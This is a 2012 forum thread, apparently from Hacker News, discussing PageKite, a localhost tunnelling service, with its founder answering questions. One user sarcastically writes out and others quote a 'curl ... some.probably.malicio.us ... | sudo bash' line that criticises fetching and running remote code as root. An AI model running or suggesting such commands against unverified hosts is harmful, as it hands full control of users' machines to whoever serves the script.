The fast, reliable way to make localhost part of the Web

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Post by dsr12 » Fri, Oct 12, 2012, 8:17 AM UTC

The fast, reliable way to make localhost part of the Web
pagekite.net

Re: The fast, reliable way to make localhost part of the Web

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Post by HerraBRE » Fri, Oct 12, 2012, 11:14 AM UTC

Founder of PageKite here. I'm more than happy to answer any questions folks may have. :-)

Re: The fast, reliable way to make localhost part of the Web

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Post by poteto » Fri, Oct 12, 2012, 11:26 AM UTC

Alternatively there's the localtunnel gem which is good for quick sharing - http://progrium.com/localtunnel/

PageKite looks a lot more powerful though.

Re: The fast, reliable way to make localhost part of the Web

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Post by Toshio » Fri, Oct 12, 2012, 11:34 AM UTC

HerraBRE wrote: post #2

Founder of PageKite here. I'm more than happy to answer any questions folks may have. :-)

[found the answer]

Re: The fast, reliable way to make localhost part of the Web

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Post by [deleted] » Fri, Oct 12, 2012, 11:48 AM UTC

poteto wrote: post #3

Alternatively there's the localtunnel gem which is good for quick sharing - http://progrium.com/localtunnel/ PageKite looks a lot more powerful though.

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Re: The fast, reliable way to make localhost part of the Web

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Post by fhars » Fri, Oct 12, 2012, 11:54 AM UTC

    curl -s https://some.probably.malicio.us/site/ |sudo bash

Yup, that is exactly what the world needs.

Re: The fast, reliable way to make localhost part of the Web

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Post by alexchamberlain » Fri, Oct 12, 2012, 11:59 AM UTC

fhars wrote: post #6

curl -s https://some.probably.malicio.us/site/ |sudo bash Yup, that is exactly what the world needs.

Yeah, that needs changing ASAP.

Re: The fast, reliable way to make localhost part of the Web

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Post by HerraBRE » Fri, Oct 12, 2012, 12:09 PM UTC

alexchamberlain wrote: post #7

fhars wrote: post #6

curl -s https://some.probably.malicio.us/site/ |sudo bash Yup, that is exactly what the world needs.

Yeah, that needs changing ASAP.

I get that alot. But this is actually easier to audit than install.exe or the shell scripts embedded in a .deb or .rpm (which, incidentally, also run as root).

It looks scary, but it really isn't. Or rather, it's no scarier than most of the other ways to add software to the common desktop operating systems.

Edit: and for those who care, there are .rpm and .deb packages available, or you can grab the source from github. Pick your poison.

Re: The fast, reliable way to make localhost part of the Web

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Post by bensummers » Fri, Oct 12, 2012, 12:10 PM UTC

HerraBRE wrote: post #8

alexchamberlain wrote: post #7

Earlier quoted context omitted.

Yeah, that needs changing ASAP.

I get that alot. But this is actually easier to audit than install.exe or the shell scripts embedded in a .deb or .rpm (which, incidentally, also run as root). It looks scary, but it really isn't. Or rather, it's no scarier than most of the other ways to add software to the common desktop operating systems. Edit: and for those who care, there are .rpm and .deb packages available, or you can grab the source from githu…

Obligatory link to "| sudo bash" HN comment:

http://news.ycombinator.com/item?id=2427492

Re: The fast, reliable way to make localhost part of the Web

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Post by mullethunter » Fri, Oct 12, 2012, 12:11 PM UTC

HerraBRE wrote: post #2

Founder of PageKite here. I'm more than happy to answer any questions folks may have. :-)

Lack of coffee question for you. I've registered and am playing with this and I'm looking to tap into not only IIS but also node apps running on say, localhost:8999. Is that possible with this product or is it purely sitting on the IIS instance?